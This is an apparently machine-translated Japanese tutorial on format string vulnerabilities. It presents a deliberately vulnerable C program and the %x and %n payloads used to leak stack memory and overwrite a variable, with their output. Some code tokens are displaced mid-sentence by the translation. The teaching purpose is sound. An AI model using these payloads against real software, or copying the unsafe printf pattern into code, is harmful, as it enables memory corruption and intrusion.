直接または間接的に、さまざまな方法でフォーマット文字列の脆弱性を悪用できる可能性があります。以下を例として使用しましょう (関連する OS 保護がないと仮定しますが、これはとにかく非常にまれです)。
int main(int argc, char **argv)
{
char text[1024];
static int some_value = -72;
strcpy(text, argv[1]); /* ignore the buffer overflow here */
printf("This is how you print correctly:\n");
printf("%s", text);
printf("This is how not to print:\n");
printf(text);
printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
return(0);
}
この脆弱性の根底にあるのは、可変引数を持つ関数の動作です。可変数のパラメーターの処理を実装する関数は、基本的にスタックからそれらを読み取る必要があります。スタック上で 2 つの整数を想定するフォーマット文字列を指定し、printf()
パラメーターを 1 つだけ指定する場合、2 番目のパラメーターはスタック上の別のものでなければなりません。拡張により、フォーマット文字列を制御できる場合は、最も基本的な 2 つのプリミティブを使用できます。
任意のメモリアドレスからの読み取り
[編集]重要:ここでは、スタック フレームのレイアウトについていくつかの仮定を立てています。脆弱性の背後にある基本的な前提を理解している場合は無視できますが、OS、プラットフォーム、プログラム、および構成によって異なります。
%s
format パラメータを使用してデータを読み取ることができます。で元のフォーマット文字列のデータを読み取ることがprintf(text)
できるため、それを使用してスタックから何かを読み取ることができます。
./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]
任意のメモリアドレスへの書き込み
フォーマット指定子を使用して、%n
(ほぼ) 任意のアドレスに書き込むことができます。some_value
もう一度、上記の脆弱なプログラムを想定して、上記のようににあるの値を変更してみましょう0x08049794
。
./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]
指定子がsome_value
検出される前に書き込まれたバイト数で上書きしました ( )。フォーマット文字列自体、またはフィールド幅を使用して、この値を制御できます。%n
man printf
./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]
試行すべき多くの可能性とトリック (パラメーターへの直接アクセス、ラップアラウンドを可能にする大きなフィールド幅、独自のプリミティブの作成) があり、これは氷山の一角にすぎません。fmt文字列の脆弱性に関する記事をもっと読むことをお勧めします(Phrackには、少し高度なものかもしれませんが、ほとんどが優れたものがあります)、またはこの主題に触れた本を読むことをお勧めします。
免責事項: 例は、Jon Erickson著の本Hacking: The art of exploreation (第 2 版)から [逐語的ではありませんが] 取られています。